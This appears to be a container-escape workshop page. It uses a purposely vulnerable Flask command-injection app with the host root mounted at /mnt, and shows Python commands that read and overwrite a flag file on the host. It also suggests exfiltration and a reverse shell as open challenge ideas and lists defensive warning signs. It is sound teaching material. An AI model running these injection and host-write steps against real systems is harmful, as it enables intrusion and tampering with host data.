Container Escapes 101 - in the wild
So far, we’ve been SSH’d directly into our host node. This isn’t how we normally have access to escape so … how does these tactics still work? We’re going to use the same storage-based escapes as before, but through a web UI and talk through some common
difficultiesdefensive countermeasures.
Setup and looking around
Let’s use a couple of our tactics from earlier on a vulnerable application. The application runs in a container.
1
2
3
4
5
6
7
8
9
$ docker run --rm -p 5000:5000 -v /:/mnt \
ghcr.io/some-natalie/some-natalie/command-injection:latest
* Serving Flask app 'app.py'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5000
* Running on http://172.17.0.2:5000
Press CTRL+C to quit
Make note of that second IP address (
172.17.0.2
), as we’ll need it in a bit.
This is a simple Python Flask app that takes user input somewhere and handles it such that it directly runs in a shell. In the real world, you’d find this vulnerability, but that’s out of scope for today so here it’s given to you.
Open your browser to http://localhost:5000
and try a couple commands, then gather some info.
❓ What user is this process running as?
hint
`id`example answer
uid=0(root) gid=0(root) groups=0(root)
❓ What shell is executing our commands?
hint
echo $0
should get this for us
example answer
/bin/sh
❓ What local storage do we see?
hint
You're looking for the mounts listing.example answer
root@6f2ea7fe47c3:/# cat /proc/self/mounts
# # # a lot of output # # #
/dev/sda2 /mnt ext4 rw,relatime 0 0
# # # a lot more output # # #
Plotting our path out
This is the same path we took earlier with SSH access directly to the host. We found a mount at /mnt
that maps to /dev/sda2
on the host, which we can explore and find our flag. Now, we’re running the same commands through this web UI for the same effect.
oh hey, we read and wrote to our flag on the host 🎉
Complications
This was a good demonstration of the same paths out, but also not terribly realistic for a few reasons.
Local file storage isn’t that common anymore. It used to be normal to have local storage, at least for logs. These local logs would get picked up by a service and shipped off somewhere (think Splunk or Elastic, but tons of products exist in this space). Modern application logging usually doesn’t have this middle step and instead sends logs directly to an aggregator. If you need persistent file storage in an application, this is now more likely to be done by a dedicated service like AWS S3 than it is to be a local share.
Web Application Firewalls (WAFs) typically sit in front of external services. WAFs exist to provide a mitigating control into what goes in or comes out of a web-facing service. It tries to filter out putting in shell commands, SQL statements, and other common sources of mischief and malice. Some are simple regular expressions filters, some are quite clever, and they vary in how much can be configured and how well those configurations are applied. At any rate, simple explorations like this are likely to be caught … we hope 😈
xkcd #327 - Exploits of a Mom is exactly what a WAF is supposed to prevent
Literally every “scanner” will complain about this. Most organizations have some sort of “security scanner” that should find things to flag here. Whether or not those warnings block deployment or receive any attention is up for discovery. A few alarms to consider
- bind mounting anything from the host into the container (
-v /:/mnt
) should be found by whatever’s deploying this container and viewed with skepticism - the container user runs as the root user
- the container has a shell and a bunch of utilities that aren’t needed to run a Flask webapp
- the container runtime is running as the root user
- the little web app literally takes random user input and pipes it directly into a shell 🫠
Now without a shell
There’s a lot of ways to make this same escape more difficult, but one of the most effective is to remove the tools I’d need to do any of these things. This makes me find creative ways to download them or new paths to work out. Let’s try again using (more or less) the same web application, with one change …
1
2
3
4
5
6
7
8
9
$ docker run --rm -p 5000:5000 -v /:/mnt \
ghcr.io/some-natalie/some-natalie/command-injection-noshell:latest
* Serving Flask app 'app.py'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5000
* Running on http://172.17.0.2:5000
Press CTRL+C to quit
We removed the shell, common utilities, and anything else that wasn’t needed for Flask to run. Instead of our user commands being run by /bin/sh
, they’ll be executed by something else instead.
❓ What’s executing these commands?
hint
You're looking for thesys
module.
example answer
>>> import sys; print(sys.version)
3.13.5 (tags/v3.13.5-1-g2961eae-dirty:2961eae, Jul 19 2025, 01:45:13) [GCC 15.1.0]
❓ Try writing to /boot/flag.txt
on the host from this container (now w/o a shell).
hint
The Python docs for theos
module are probably helpful.
example answer
>>> import os; print(os.listdir("/mnt"))
['root', 'boot', 'opt', 'home', 'media', 'bin', 'snap', 'lib.usr-is-merged', 'cdrom', 'sbin', 'usr', 'etc', 'sys', 'swap.img', 'bin.usr-is-merged', 'sbin.usr-is-merged', 'tmp', 'lost+found', 'proc', 'dev', 'mnt', 'lib', 'srv', 'run', 'var']
>>> import os; print(os.listdir("/mnt/boot/"))
['flag.txt', 'vmlinuz-6.8.0-64-generic', 'vmlinuz', 'grub', 'initrd.img.old', 'config-6.8.0-64-generic', 'System.map-6.8.0-64-generic', 'vmlinuz.old', 'initrd.img', 'initrd.img-6.8.0-64-generic', 'efi']
>>> print(open('/mnt/boot/flag.txt', 'r').read())
hiya, you found me at appsec village @ defcon 33!
natalie was here
vulnerable apps on the internet are great fun!
>>> open('/mnt/boot/flag.txt', 'w').write('now in python')
now in python
Verify this on the host and the contents of /boot/flag.txt
have been overwritten with now in python
.
Challenge time!
Now we’re going to use a third container, this time without many of the utilities we’d need to make mischief and without running as the root user in the container. The volume mount is still there, though.
Launch it and find out what mayhem we can make.
1
2
3
4
5
6
7
8
9
$ docker run --rm -p 5000:5000 -v /:/mnt \
ghcr.io/some-natalie/some-natalie/command-injection-noshell-noroot:latest
* Serving Flask app 'app.py'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5000
* Running on http://172.17.0.2:5000
Press CTRL+C to quit
Good ideas include:
- Exploring and exfiltrating the data from the host system on
/mnt
- Downloading a shell, then launching it as a reverse shell from the web UI
- Reading and writing to
/boot/flag.txt
- Unless you’ve changed your runtime settings, there’s likely still quite a lot of capabilities you can add to this process too
- Changing the web app or other assets in
/app
within the container
⏱️ This is nearing the end of a 2-hour workshop, so I’m leaving this one open-ended deliberately. My tested path out was that second one, using files I’d mirrored at
Back to the index.